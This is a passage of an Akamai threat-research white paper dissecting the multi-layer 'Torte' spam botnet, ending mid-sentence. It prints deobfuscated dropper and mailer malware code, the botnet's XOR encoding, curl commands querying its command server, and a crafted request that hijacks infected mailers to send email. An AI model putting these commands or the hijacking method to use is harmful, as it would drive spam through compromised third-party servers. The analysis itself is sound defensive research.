AKAMAI WHITE PAPER

akamai's [state of the internet] / security

The Torte Botnet:
A SpamBot Investigation

Akamai
FASTER FORWARD

TABLE OF CONTENTS

1.0 / Overview

Akamai's Security Intelligence Research Team (SIRT) has uncovered a multi-layered, decentralized, and widely distributed botnet that attackers are using to launch coordinated brute-force spamming campaigns. We are calling it the "Torte" botnet because its structure is a lot like a multi-layered cake.

The botnet is fairly large and uses both ELF binary and PHP based infections. The portions that could be mapped account for over 83,000 unique infections across 2 of the 4 infection layers. While binary infections only target Linux, other PHP based infections were found running on all major server operating systems — Windows, Linux, OS X, Unix, SunOS, and variants of BSD.

This paper examines Akamai's SIRT investigation, findings, and recommended defensive measures.

2.0 / Deconstructing the Puzzle

The investigation began when a source passed along a small, obfuscated PHP script to Akamai SIRT for analysis. De-obfuscation and analysis of this initial payload is ultimately what lead to the information leaks that would aid in the discovery of the botnet.

The initial payload used an obfuscation technique that was trivial to reverse. The core process involved building a string of every character used by the script and then building the script using the "key" string indexes.

```
$key = "c5bamd";

// before
$GLOBALS['abc'] = $key[4].$key[5].$key[1];
// after
$GLOBALS['abc'] = 'md5';

// calling the md5() function
$GLOBALS['abc']($input) == md5($input)
```

Figure 1: Example showing the obfuscation technique

Using a small script made deobfuscation easy and gave an idea what core functions were being called at runtime. The next step was looking over the flow of the various parts and figuring out what those calls were actually being used for.

2.1 / Enter the Dropper

The initial infection is fairly straightforward and will be referred to as the "dropper." It tests the system to figure out the processor's architecture (32 or 64bit) and confirms it's operating on a Linux machine. The dropper then downloads an ELF binary called crond32 or crond64, depending on the detected architecture, and proceeds to execute and delete the downloaded binary. We'll refer to this piece of the infection (the ELF binary) as the "spooler".

```
chmod($downloaded_malware, 0755);
$shell_cmd = "$session ./.$downloaded_malware >/dev/null 2>/dev/
null &;"
$shell_exec_result = shell_exec($shell_cmd);
echo "<inf step=5 data=done data2=.$shell_exec_result>";
sleep(1);
unlink($downloaded_malware);
break;
```

Figure 2: Deobfuscated code snippet of malware execution

One interesting piece of this infection that was bolded above was its use of an injected environment variable during execution of the spooler. This session/environment variable appeared to be a `base64`-encoded payload but resulted in gibberish when decoded, meaning it was likely raw data used inside the binary or encrypted in some manner.

```
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm
52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd
2FqcmN
..snip..
Dc3NDI1YC41MTEzOmdnOjFjO2Y7ZzMxLjYzZDc3MzNgNzJjMjA1MzUuNjA0NGEwMjM0
OjZgMTE3YC4MzM7MzA6MzU3MmcwN2E0LjUxZjA0NWY7NWNjMjc2O2E+LWlpPA==
```

Figure 3: Raw payload

Using a small script to brute force the base64-decoded payload using XOR (a common technique for malware authors) against a range of alpha-numeric characters to see if anything of interest might pop out made it clear that XORing against the number 2 would turn the environment variable into a list of what appeared to be tags, some domain names, and what was thought to be more obfuscated data.

```
2 -----------------
<ps>10</ps><urh></urh><urp></urp><lt>500</lt><lc>100</lc><bs>20</
bs><lu>http://sk.touchpadz.com/</lu><bu>http://bat.touch-
padz.com/aa2.php</bu><su>http:/,stat.touchpadz.com/gj13a.php</
su><ldb>ms007</ldb><kk>605695df5489d688,2563e7b
..snip..
21191281750e25c6,73d267d97aa0549c</kk>
2 -----------------
```

Figure 4: Deobfuscated environment variable

3.0 / What's in a URL?

We realized that looking at the previous URLs included in the deobfuscated environment variable would lead to more obfuscated output. Luckily, these payloads used the same technique and 0x02 key, so we were able to figure out what each of them does.

The first URL (***http://sk.touchpadz.com/***) doesn't appear to leak much usable information at first glance, greeting anyone who visits with a generic "Under Construction" message. We'll cover this domain in more detail later in this paper while analyzing the spooler infection.

The second URL (***http://bat.touchpadz.com/aa2.php***) appears to hand out spam templates/payloads for a spamming campaign, offering up adult content as of this writing. It also includes URLs in the template, these URLs point to another layer of infection that we'll refer to as "landers".

```
<USER>vicky_whitfield</USER>
 <NAME>"Vicky Whitfield"</NAME>
 <SUBJ>Fw:  Your Best Adult Site</SUBJ>
 <SBODY>
 <div>
 <h2>Your Best Adult Site - <a href="http://*******/wp-includes/js/
jcrop/blog.php?%MAIL_EN%">come to see it</a></h2>
 </div>
 </SBODY>
```

Figure 5: Deobfuscated payload from the second URL

The third URL (***http://stat.touchpadz.com/gj13a.php***) was the most helpful for our reconnaissance and intelligence-gathering purposes. It appears to hand out URLs to other boxes that are infected with yet another piece of malware; we'll call these infections "mailers".

```
// before
anZ2cjgtLWBwd2xxdWthaWNwdnFhbXdsYWtuLG1wZS11ci9hbWx2Z2x-
2LXZqZ29ncS1PbWZncGxHbmdlY2xhZy1hb3Eta29lLW5tZWtsLHJqcg==

// after
http://********/wp-content/themes/ModernElegance/cms/img/login.php
```

Figure 6: Example payload before and after deobfuscation

More interestingly is that the URLs provided will also hand out a standardized response, so it is fairly easy to confirm active infections that are handed out by the C2.

```
Linux+cfcd208495d565ef66e7dff9f98764da+01+[[]]
```

Figure 7: Example banner from active infection

4.0 / The Botnet is Revealed

After making the discoveries above, Akamai SIRT researchers wrote a small script to fetch an infected host from the C2, decrypt the payload, and attempt to contact said host and log its response.

Using these logged responses, we found that the size of this botnet is fairly large. Over 1,400,000 (including duplicates from the C2) probe requests were sent to the C2 and subsequently to the URL it handed back. Using this method, over 78,000 unique mailer infections were identified with 56,281 confirmed as active.

While reviewing the fingerprint of the active infections, it became apparent that while the majority of the payload is static, the first portion of the payload shown above is actually pulled from the OS and allows us to see the types of platforms currently infected.

In the next figure, you'll see the number of instances a platform/OS showed up in our probes. These numbers are not unique and span all 1,400,000+ requests, which is why you'll see more Linux instances than the total 56k instances stated above.

```
792,007 Linux+cfcd208495d565ef66e7dff9f98764da+01+[[]]
  58,038 WINNT+cfcd208495d565ef66e7dff9f98764da+01+[[]]
  29,265 FreeBSD+cfcd208495d565ef66e7dff9f98764da+01+[[]]
     857 Darwin+cfcd208495d565ef66e7dff9f98764da+01+[[]]
     272 SunOS+cfcd208495d565ef66e7dff9f98764da+01+[[]]
      31 OpenBSD+cfcd208495d565ef66e7dff9f98764da+01+[[]]
      19 AIX+cfcd208495d565ef66e7dff9f98764da+01+[[]]
      13 NetBSD+cfcd208495d565ef66e7dff9f98764da+01+[[]]
```

Figure 8: Instances of banner and OS

As you can see, Windows, Linux, OS X, Unix, SunOS, and variants of BSD are all actively infected in the wild.

5.0 / Mailers: What Do They Do?

While collecting the responses from these infections offered confirmation and insight into the size of the botnet, without the mailers source code the underlying capabilities of the infections weren't clear. Since we'd collected millions of replies, it seemed possible that some of these servers might have undergone configuration changes that would allow the raw PHP source code of an infection to be dropped to a web user.

```
URL: http://rmservicios.net/wp-content/uploads/2013/04/code.php
<?php
$k17=”`xZ\”6zl>H,@i0B^\rgN’RGb!dFjCyw}5~7\nO8s-
JuDhX(Up43oV\\]+t|%\t?_frI{SM&1=WvLTm:9 \$<#ca/*2);EY[qekQKPA.n”;
$GLOBALS[‘zfbrf71’] = $k17[90].$k17[60].$k17[60].$k17[48].$k17[60]
.$k17[58].$k17[60].$k17[90].$k17[45].$k17[48].$k17[60].$k17[53].$k
17[11].$k17[97].$k17[16];$GLOBALS[‘sdmqr10’] = $k17[11].$k17[97].
$k17[11].$k17[58].$k17[36].$k17[90].$k17[53]; $GLOBALS[‘khfgb56’]
= $k17[23].$k17[90].$k17[59].$k17[11].$k17[97].$k17[90];
$GLOBALS[‘jcqdk62’] = $k17[45].$k17[39].$k17[1].$k17[6].$k17[16].$k
17[30].$k17[12];
..snip..
```

Figure 9: Leaked obfuscated source on an infected machine

Sure enough, not just one, but a handful of infections were leaking their source code due to a disabled or reconfigured PHP parser and/or server configuration change. Deobfuscation was trivial as this script employed the same obfuscation techniques as the dropper.

Once everything was deobfuscated, our suspicions of this being a spam botnet were confirmed. Mailers offer up only a handful of features, with the primary goal being taking input from the spoolers, doing some socket operations, MX record lookups, then generating and sending the email payloads to the targeted addresses. They also offer some basic stats reporting and tracking, allowing the spoolers to check on jobs and get updates. We can see in the deobfuscated source code that if a request does not meet validation criteria we'll be given the output we'd observed across the 56k confirmed infections, and then exit.

```
if (FALSE == validate_request($spam_config)) {
    echo PHP_OS.”+”.md5(0987654321).”+01+[[]]”;
    exit;
}
```

Figure 10: Example of the code snippet that builds the infection payload

Digging deeper, we see that the mailers have a couple of different methods when attempting email delivery. They'll attempt to use the PHP `mail()` function if it's available and functional but will also do raw socket communications as a delivery mechanism.

```
queue_sockets($spam_campaigns);
send_via_mail($spam_campaigns);
output_status($spam_campaigns);
exit;

..snip..

function send_via_mail(&$spam_campaigns) {send_via_mail
    if (!function_exists(mail)) {
        return FALSE;
    }
    for ($i = 0; $i < count($spam_campaigns); $i++) {
        if ($spam_campaigns[$i]['l_done'] == TRUE) {
            continue;
        }
        if ($spam_campaigns[$i]['g_fff']) {
            if (@mail($spam_campaigns[$i]['g_mailto+'], ...)) {
                ..snip..
            }
        } else {
            if (@mail($spam_campaigns[$i]['g_mailto+'], ...)) {
                ..snip..
            }
        }
    }
}

..snip..

function queue_sockets(&$spam_campaigns) {
    while (send_via_socket($spam_campaigns)) {
        check_send_status($spam_campaigns);
        usleep(25000);
    }
}
function send_via_socket(&$spam_campaigns) {
    $ret_val = FALSE;
   ..snip..
    foreach(array_keys($spam_campaigns) as $campaign_index) {
        if ($spam_campaigns[$campaign_index]['l_smtp_end'] != TRUE) {
            ..snip..
            } else {
                $spam_campaigns[$campaign_index]['s_trig'] = FALSE;
                $cmpgn_send_sock[]=$spam_campaigns[$campaign_index]['s_sock'];
            }
            $ret_val = TRUE;
        }
    }
    if (count($cmpgn_send_sock) == 0) {
        return $ret_val;
    }
    $sock_ret_val = @socket_select($cmpgn_send_sock, $write = NULL, $except = NULL, 0);
    if ($sock_ret_val == FALSE || $sock_ret_val == 0) {
        return $ret_val;
    }
    ..snip..
    return $ret_val;
}
```

Figure 11: Deobfuscated source shows socket and mail functionality

These mailers are the most widely distributed piece of the botnet and are responsible for the primary function of sending the email payloads to the targets. These email payloads always include a link that directs targets into landers.

6.0 / Landers

When attempting to identify active lander infection rates, it initially appeared that all instances of infections had been cleaned up. This was especially odd considering that landers were fairly "sticky", in the sense that they would be used for extended periods of time when fetching campaigns. Even if testing a campaign lander within seconds of a lander change, the lander infection would produce a 404. It became obvious fairly quickly that this is more than likely a trick employed by the malware itself to prevent detection and leaking of information.

In an attempt to identify patterns, 355,000+ campaign payloads were fetched from the C2, decrypted, and logged. Using these logs, a list of 3,400+ unique lander infections was compiled and could be tested. The goal was to identify infections that returned a 200 HTTP status, as those infections had either been cleaned up or hopefully something had gone wrong and the server was now returning raw source code, as we'd seen happen with the mailer.

Once again, a misconfigured instance allowed the dumping of source code, and once again the same obfuscation technique was applied.

```
$z86="wh/!2D;usA5@l=x<>\\7K]TCRq-{'^L$)n*3S\"?McZor,91&Jb
O`eB}~0%FdVzpfUG:_.\rXP[#6iIg(j4E8\n|YvQ+yHamN";
$GLOBALS['bozit27'] = $z86[80].$z86[90].$z86[78].$z86[0].$z86[95].
$z86[18];
..snip..
```

Figure 12: Leaked source code for "lander" infection

Now that we had the deobfuscated source code, we could see that the 404s we had suspected were false are indeed part of the malware attempting to prevent detection. More importantly, we also could see what the secret key/parameter was that would be needed to confirm the other 1,700+ infections and allow proper execution. The key was a properly structured and encrypted email address passed as a named `$_GET` param key.

```
test@foobar.com ≥ dmdxdkJkbW1gY3AsYW1v

http://***/wp-includes/js/tinymce/plugins/charmap/utf.
php?dmdxdkJkbW1gY3AsYW1v
```

Figure 13: An example URL with proper key passing protocol.

```
reset($_GET);
$get_email_key = key($_GET);
$loading_msg = "Loading...";

if (preg_match(/.+@.+\..+/, decrypt_payload($get_email_key)) == 1)
{
    ..snip..
} else {
    // present 404 if key doesn't match
    header('HTTP/1.0 404 Not Found', true, 404);
    print "<html><head><title>404 Not Found</title></head><body>
bgcolor='white'><center><h1>404 Not Found</h1></center><hr></
body></html>";
}
```

Figure 14: Infection checks for valid key, outputs 404 if key is invalid

The `decrypt_payload` function used the same technique for encryption, doing a simple base64 decoding and XORing against the 0x02 key.

These landers appear to serve as a redirection mechanism to get the spam victim into a real lander that is properly seeded with affiliate content and links to adult networks. These real landers appear to be static HTML pages that are hosted on yet another layer of compromised sites, ones that the botnet operators likely have easy access to for any updates to those files.

7.0 / Spoolers

What role a spooler played was fairly obvious before we began analysis on the binary payloads downloaded and executed by the dropper. Some of the injected environment variable (ENV) pieces discussed previously were clear, many others didn't have an associated function. These include the `<ps>`, `<urh>`, `<urp>`, `<lt>`, `<lc>`, `<ldb>`, and `<kk>` elements as well as the ***http://sk.touchpadz.com/.*** To figure these out, static and dynamic analysis would be required to uncover the inner workings of a spooler, how it functions, and what these tags and their associated values are used for.

As expected, the binary would immediately exit if the ENV weren't present on the system. This is likely done to prevent analysis of the binary when it's decoupled from the "dropper", but also exists to make changing the C2 on new infections easier for the operators.

If the ENV is present, the binary will create a thread pool with the number of threads being the value passed in the `<ps>` element. It then uses these threads to begin communicating with the other two domains to get payloads and infected "mailer" URLs from the C2, as expected.

The next and more interesting part is how the spooler communicates with the ***http://sk.touchpadz.com***/ host. We see the spooler using <lc>, <ldb>, and one of the values from <kk> while attempting to fetch what appears to be an image from the host.

```
GET //img/logo.gif?sessd=ms007&sessc=100&sessk=73d267d97aa0549c
HTTP/1.1
Host: sk.touchpadz.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.7.6)
Accept: */*
```

Figure 15: Request to sk.touchpadz.com for //img/logo.gif

This request triggers a response from the server, which is then decrypted by the bot to reveal a list of 100 plaintext email addresses. The length of this list appears to be controlled by the <lc> element and passed in the sessc GET param. It's also worth noting that while the response will contain data, the headers will suggest otherwise.

```
HTTP/1.1 400 Bad Request
Server: nginx
Date: Tue, 01 Sep 2015 20:31:18 GMT
Connection: keep-alive

..snip..
rshahhpnnepakele@yahoo.com
stuhmwanypenpalmer2011@live.com
shpgbanepalsmsmexr260@yahoo.com
mshagnxcepaslopmo05@gmail.com
..snip..
```

Figure 16: Sample of email addresses returned

The decryption portion of this data is very different from the standard XOR ^ 0x02 observed for all of the other payloads. The value passed from <kk> into the sessk GET param is actually the hex representation of 8 bytes (stored across 2 CPU registers during decryption). These bytes are used in an XOR loop to allow encrypted payloads to be passed between the C2 and the spooler. An interesting hole in this technique is we can easily fetch plaintext payloads by passing the C2 a single or series of null bytes (0x00) for the encryption key.

We also see another value from the ENV being used in this request. The <1db> tag's value of ms007 can be seen in the sessd GET param of this request. When changing the value of this, we find that it appears to link to different lists/techniques for email address generation.

The spooler takes the email addresses fetched and concatenates them with a # character it then XORs with the 0x02 key and base64s the output.

```
$ curl -s "http://sk.touchpadz.com//img/logo.gif?sessd=ms007&sessc=
5&sessk=00"
pre.fftlamengbmaum@laposte.net
e.jfwlacbment@live.fr
efv.nfglament@orange.fr
yegta.fleammang@orange.fr
er.frleeot@hotmail.com

$ curl -s "http://sk.touchpadz.com//img/logo.gif?sessd=ms008&sessc=
5&sessk=00"
info@stat-run.info
qprobierhxdttjoness68070@gmail.com
sruosbhertjconbaes68y070@yahoo.com
robyyergtijfoones71@hotmail.com
srobnmerdtjoniebsib@yahoo.com

$ curl -s "http://sk.touchpadz.com//img/logo.gif?sessd=ms005&sessc=
5&sessk=00"
i1ey9d87mikchael@gmx.net
1l98m7qorrdozcohleo@att.net
1bh987qcumuinny@gmail.com
1987etpriisbatnkan.jfones@gmail.com
c1q98d8.arshmypjadkhan@gmail.com
```

Figure 17: Different campaigns, different addresses

```
// email payload
i1ey9d87mikchael@gmx.net#1l98m7qorrdozcohleo@att.
net#1bh987qcumuinny@gmail.com#1987etpriisbatnkan.jfones@gmail.
com#c1q98d8.arshmypjadkhan@gmail.com

// ready for sending
azNneztmOjVva2lhamNnbkJlb3osbGd2ITNuOzpvNXNtcHBmbXhhbWpuZ21CY3Z2L-
GxndiEzYGo7OjVzYXdvd2tsbHtCZW9ja24sYW1vITM7OjVndnJwa2txYGN2bGljb-
CxoZG1sZ3FCZW9ja24sYW1vIWEzczs6ZjosY3Bxam97cmhjZmlqY2xCZW9ja24sYW1v
```

Figure 18: Email payload preparation

The spooler makes an HTTP request to the mailer URL with these encrypted payloads in the POST variables "layer" and "dimm". These payloads will be decrypted by the mailer, processed, and emails will be sent using the domain/ip and resources of the mailer box that appear from the username specified in the spam campaign payload.

```
curl -m 20 --data "layer=cXJjb3JtYUJxamNwaW5jcWdwcSxhbW8=&dimm=Pl
dRR1A8YG12bGd2XW9ja25ncD4tV1FHUDwIPkxDT0c8IG9ja25ncGBteiA+LUxDT0c
8CD5RV0BIPHFyY28iYG12bGd2ImtsImNhdmttbD4tUVdASDwIPlFATUZbPAhWam-
txIm9ncXFjZWcidWNxInFnbHYiZHBtbyJjImFtb3JwbW9rcWdmIm9jYWprbGcsCD4tU
UBNRls8&err=1" "http://***/wp-content/themes/twentyfourteen/generi-
cons/start.php"
```

Figure 19: Example request to trigger spam email delivery

```
Delivered-To: spampoc@guerrillamailblock.com
Received: from is***pa.com (is***pa.com [XX.XX.XX.XX])
     by server7.jamit.net with SMTP id b18af6c289600b830d70b4e49a-
ba42f7@server7.jamit.net;
     Tue, 01 Sep 2015 15:36:36 +0000
Date: Tue, 1 Sep 2015 10:36:36 -0500
From: botnet_mailer@is***pa.com
Reply-To:botnet_mailer@is***pa.com
Message-ID: <fb3cba1-33048-81@is***pa.com>
To: spampoc@sharklasers.com
Subject: spam botnet in action
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

This message was sent from a compromised machine.
```

Figure 20: Email headers received from crafted request

While digging around online we were able to uncover multiple older infection attempts from across the web (discussed later) and their associated environment variables. In these infection instances we could decrypt and look at what configuration options were used at the time. Some of these older versions appeared to include values in the <urh> and <urp> tags.

```
$ ./decrypt_sess.py "PnJxPDMyPi1ycTw+d3BqPGxuLGNwdi9yY3B2bGdwLGxndj
4td3BqPD53cHI8OjIzNT4td3ByPD5udjw3MjI+LW52PD5uYTwzMjI+LW5hPD5gcTwwM
j4tYHE8Pm53PGp2dnI4LS1jYWFxLGNwdi9yY3B2bGdwLGxndi0+LW53PD5gdzxqdnZy
OC0tYGN2LGNwdi9yY3B2bGdwLGxndi1jYzAscmpyPi1gdzw+cXc8anZ2cjgtLXF2Y3Z
xLHN3Z3B7L3JjcHYsYW1vLWVoNSxyanI+LXF3PD5uZmA8YHUyMjM+LW5mYDw="

<ps>10</ps><urh>nl.art-partner.net</urh><urp>8017</urp><lt>500</
lt><lc>100</lc><bs>20</bs><lu>http://accs.art-partner.net/</
lu><bu>http://bat.art-partner.net/aa2.php</bu><su>http://stats.
query-part.com/gj7.php</su><ldb>bw001</ldb>
```

Figure 21: Older session cookie values

Looking at the values and the naming made it pretty obvious that this was clearly a host and port number combination. To confirm this and see what the spooler would do with this information, we modified the ENV to point <urh> and <urp> to a host we controlled. We then allowed the bot to spin up to see what would come across the wire. Immediately, UDP packets began flooding in. Spoolers are able to act as a logging proxy from mailers — they will send UDP packets with encrypted payloads that report failed deliveries, messages, and status updates from the mailers. These packets can be decrypted by XORing their contents against the key 0x0C.

```
Error :: sh <http://**********/plugins/gantry5/preset/language/admin.php> <0>
Smtp :: ju.oyrxoko@163.com :: [4]550 User not found: ju.oyrxoko@163.com
Smtp :: juf.pduz.st.h@gmail.com :: [4]550-5.1.1 The email account that you tried
to reach does not exist. Please try 550-5.1.1 double-checking the recipient's
email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1
https://support.google.com/mail/answer/6596 ni1si7401194pdb.191 - gsmtp
Smtp :: joepu0.pauwl@sfr.fr :: [2]503 5.7.0 Error: access denied for ns118.small-
dns.com[210.5.47.200]
Smtp :: ju00gdh41@gmail.com :: [4]550-5.1.1 The email account that you tried
to reach does not exist. Please try 550-5.1.1 double-checking the recipient's
email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1
https://support.google.com/mail/answer/6596 sv1si7406410pab.150 - gsmtp
Smtp :: ju0rm06ghe@me.com :: [4]550 5.1.1 unknown or illegal alias: ju0rm06ghe@
me.com
Smtp :: jpu031qh10@gmail.com :: [4]550-5.1.1 The email account that you tried
to reach does not exist. Please try 550-5.1.1 double-checking the recipient's
email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1
https://support.google.com/mail/answer/6596 kj7si7428567pab.83 - gsmtp
Smtp :: ojlu05@free.fr :: [5]451 too many errors from your ip (210.5.47.200),
please visit http://postmaster.free.fr/
Warn :: send :: <http://*******/wp-content/uploads/2015/06/dir.php>
Warn :: no sm :: <http://********/assets/plugins/tinymce/js/user.php>
Error :: sh <http://*******/plugins/editors/jce/gallery.php> <404>
Error :: Max sh limit
```

Figure 22: UDP remote logging messages

8.0 / Coordinated Brute Forcing

After several interactions with the sk.touchpadz.com functionality, it became clear that these emails weren't just leaked or stolen lists from around the Internet. The patterns seemed very unlikely to be selected by a human due to their length and level of randomness, the appearance of common attributes across an entire data set, and the fact that most of the addresses failed to be delivered when routed from the malware with reporting enabled. It also appeared the C2 was keeping some type of global timer in place and coordinating the distribution of randomized addresses using some kind of generation algorithm.

These findings became more apparent as tests were run to identify alternative campaign (<ldb>) IDs and was mainly discovered when polling the ms008 campaign. There was a single address that was static — it would always appear on the first request and would reappear if there were several seconds of inactivity.

```
$curl -s "http://sk.touchpadz.com//img/logo.gif?sessd=ms008&sessc=2
&sessk=00"
info@stat-run.info
rhobxerxjtxkuennemsdy420@gmail.com

$curl -s "http://sk.touchpadz.com//img/logo.gif?sessd=ms008&sessc=2
&sessk=00"
info@stat-run.info
croberrtqkuiqnxng.med@gmail.com

$curl -s "http://sk.touchpadz.com//img/logo.gif?sessd=ms008&sessc=2
&sessk=00"
info@stat-run.info
roberitnkoheyhmefler21a5@yahoo.com
```

Figure 23: Static address in dataset if multiple seconds of inactivity occur

If we poll this same campaign on a 2-second interval, it appears the method for address generation relies on time as well as some underlying randomization technique.

```
$ while true; do curl -s "http://sk.touchpadz.com//img/logo.gif?sessd=ms008&sessc=1&ses
sk=00"; sleep 2; done
-----
info@stat-run.info
rtkoberctetochionxcchi@libero.it
rcobkhesrctrocinongoli@hotmail.com
nbrrosberrjtcrocisneros1@hotmail.com
rounbekbtqrtocmendgez@hotmail.com
info@stat-run.info
trrobemraotocmv@gmail.com
rdobeqtrhtocoldoloada@hotmail.com
uqrouqabertocolgrlbado15@hotmail.com
ronjbecrtocynobrneloio@yahoo.com
info@stat-run.info
```

Figure 24: Recurring static address on 10-second intervals

8.1 / Using Google to Find Infection Attempts

Using Google, it is possible to find old and possibly active infection attempts. This is possible thanks to the static name of the injected environment variable. These hints were left behind in most cases due to poor WordPress configuration and plugin practices. These poor practices lead to error logs being written to web accessible directories that ultimately would be indexed by Google.

This information leak was discovered fairly early on and as mentioned earlier in the article was helpful in identifying some elements of the payload, as well as helping to date the campaign. The earliest record identified using this technique dates back to Nov. 7th, 2014.

```
[08-Nov-2014 10:40:39 America/Denver] PHP Warning:  shell_exec():
Unable to execute 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPGxuLG
Nwdi9yY3B2bGdwLGxndj4td3BqPD53cHI8OjIzNT4td3ByPD5udjw3MjI+LW52PD5
uYTwzMjI+LW5hPD5gcTwwMj4tYHE8Pm53PGp2dnI4LS1jYWFxLGNwdi9yY3B2bGd-
wLGxndi0+LW53PD5gdzxqdnZyOC0tYGN2LGNwdi9yY3B2bGdwLGxndi1jYzAscmpy
Pi1gdzw+cXc8anZ2cjgtLXF2Y3ZxLHN3Z3B7L3JjcHYsYW1vLWVoMzMscmpyPi1xd
zw+bmZgPGB1MjIzPi1uZmA8 ././ps &gt;/dev/null 2&gt;/dev/null &amp;'
in /home1/*******/public_html/shopsite-images/en-US/630e3b.php(1) :
eval()'d code(1) : eval()'d code(1) : eval()'d code on line 4

// decrypted
<ps>10</ps><urh>nl.art-partner.net</urh><urp>8017</urp><lt>500</
lt><lc>100</lc><bs>20</bs><lu>http://accs.art-partner.net/</
lu><bu>http://bat.art-partner.net/aa2.php</bu><su>http://stats.
query-part.com/gj11.php</su><ldb>bw001</ldb>
```

Figure 25: Earliest log infection found

The associated binary, however, appears to have been discovered earlier in the year around mid-August of 2014. Multiple malware analysis and anti-virus sites appear to have scanned and categorized it around those dates, however it seems the lack of the accompanying environment variable needed for proper execution kept this piece of malware under the radar when analyzed with automated solutions.

9.0 / A Botnet is Greater Than the Sum of Its Parts

While we've peeled back the layers to uncover a botnet clearly centered around spamming, there is more to consider when thinking about it's structure, methods, and functionality. We'll now discuss some observations and considerations about how this botnet operates at scale, how and why it was split across multiple layers, and what problems these discoveries introduce.

9.1 / Decoupled Structure

Decoupling and layering a botnet in the manner used by these operators achieves a few key goals, the primary goal being resilience. Since the various parts operate independently, they can all be swapped out very quickly and easily.

This makes it much more difficult to organize a takedown, sinkhole, or cleanup campaign — the most obvious single point of failure being the C2 due to its coordination responsibilities between the spoolers, mailers, campaigns, and landers. However, even getting the C2 offline would only temporarily slow a botnet like this down.

Dated configuration payloads have shown that the C2 has been transient in the past and will surely be moved again when it's needed. Targeting and cleaning up the spooler infection instances will only cause a hiccup in the operations, as they could be replaced by other means of infection, other botnets, or even by a handful of shell scripts run by the operators.

The real heart of this botnet is the mailer layer and its 56k infections. Since it uses a simple encryption and communication scheme, it can easily be leveraged by any program or botnet that knows how to speak to it, as was illustrated by our crafted payload and curl request used earlier to generate a spam message targeting an account we controlled. The other layers, such as the landers and redirection targets, can also be swapped out easily without needing any coordination from a central authority and could easily be replaced with URL shortening and redirection services in a pinch.

10.0 / FTP and Weak Credentials

One piece of this operation didn't seem to fit in with the others. When a spammed user clicks the included link, they'll be redirected to a lander infection, which will in turn redirect them to a static HTML page that is identical across multiple domains and servers. This is made even more confusing by the fact that these static page URLs are hardcoded inside of the lander's own source code.

This suggests that the operators have some level of persistence to these hard-coded locations, allowing them to update the contents of these pages as needed. These domains include sites that offer everything from law services to penny stocks, suggesting they are also compromised boxes.

One observation that is shared by all of these hosts is they appear to have FTP enabled, open, and based on banner grabs are fairly active, with most reporting at least 3 active users logged in (where this information was included in the banner).

While it is impossible to prove this theory without breaking a handful of laws, these machines are likely using anonymous accounts or weak brute-forceable credentials.

11.0 / The Shotgun Approach

When we look at all of these pieces and how they come together, it becomes fairly obvious what the goal is for this botnet. It attempts to, in a highly distributed and parallel manner, brute force email address combinations for the sake of pushing spam.

While this doesn't seem like an especially efficient manner of operating a spam botnet, due to the sheer number of incorrect possibilities it undoubtedly generates, the reality is a system of this size running nonstop would burn through any legitimate email address list it was fed very quickly, leaving it with nothing to do and wasted opportunity. Rather than let that happen, it appears the operators have decided to capitalize on those wasted cycles.

If we consider the remote UDP reporting capabilities of the spoolers and how they could be used in conjunction with a logging server and specialized address generation configurations, it would be very possible to brute force a target domain's entire list of deliverable email addresses in a fairly short timespan or even leverage them for a DDoS campaign.

11.1 / A Spam Botnet For All

While all botnets are undesirable, most at least have a functional (if crude) authentication mechanism that lets the operator control the bots while keeping others out. Due to weak processes for authentication and verification throughout mailers and the C2, hijacking this botnet is trivial. Using the discoveries above, we were able to craft payload and target data that could be used by mailers and ultimately allowed us to send exploratory/validation emails from boxes we don't control to addresses we do control. These same processes could be easily replicated by nearly anyone and used to fuel spam, malware, and phishing campaigns.

12.0 / Observed Trends

There are multiple discernable trends that jump out when looking over the data collected during this research. We'll cover some of the clear trends worth mentioning.

12.1 / Your CMS, Their Botnet

Over the course of multiple days, 1,400,000+ requests were logged from the C2 responsible for handing out URLs to the mailer infections. This resulted in 78k unique URLs that the C2 believed was an active mailer infection, 56k of which were confirmed as active when immediately tested.

Using a collection of Google Dorks and analyzing the URLs handed back by the C2 server lead to an obvious trend, this botnet owes a lot of it's success to CMS installations, especially WordPress (WP).

When identifying the older campaign payloads, all samples found in the wild came from WP plugin installations that had been configured to write their error logs to a web-accessible directory. This was an early indication that WP was a high-priority target but was also heavily biased, because it's one of the few situations where an error log would be written to a web-accessible directory in the first place.

However, when analysis was run on the URLs handed back from the C2, the observed trend clearly had some merit. Of the 78k unique URLs, 57% (44k) appeared to reside within a WP installation.

Active infections showed the same trend, with a WP install being linked to roughly 60% (33k) of all active infections. WP wasn't the only platform that showed signs of infection — Joomla accounted for roughly 6% of all and 4% of active infections. This same trend was also seen when looking at the URL structures of the 3k landers pulled from campaign payloads, with roughly 50% of infections residing within a WP installation.

13.0 / WordPress Plugins

Looking over the WordPress URLs, a list of plugins was built where an infection appeared to reside inside a plugins path. This list consisted of 2,615 individual plugins across 16,374 unique domains.

Using the ***WPScan*** team's ***master list of vulnerable plugins***, it appears that of the 2,615 plugins identified, roughly 70% (1,837) have at some point had a vulnerability serious enough to be included in the WPScan master list. Using this same method a list of 3,055 unique themes were also identified across 9,481 unique domains, roughly 24% (734) of these themes show up on the WPScan teams ***master list of vulnerable themes***, meaning at some point they contained a vulnerability serious enough to warrant inclusion on this list.

Since there is no official way to fingerprint a version of a WordPress plugin remotely, an attempt to identify the current version of plugins running on infected systems was devised that would use `readme.txt`, `change_log.txt`, `release_log.txt`, and `history.txt` files found across multiple plugins. These files are often left in place after the initial installation of a plugin but are sometimes deleted or blocked from reading due to tools like ***ModSecurity*** or policies enforced by hosting providers.

Using the ones that were still available on a number of hosts, a small tool was written to fetch and parse them for relevant information for some of the top plugins identified as targets.

The Jetpack plugin was the top plugin for number of associated infections, with 1,768 unique infection URLs linking back to a Jetpack installation. Of these infections, we were able to get version information from the readme.txt for 1,549 hosts. This identified 59 different versions of this plugin

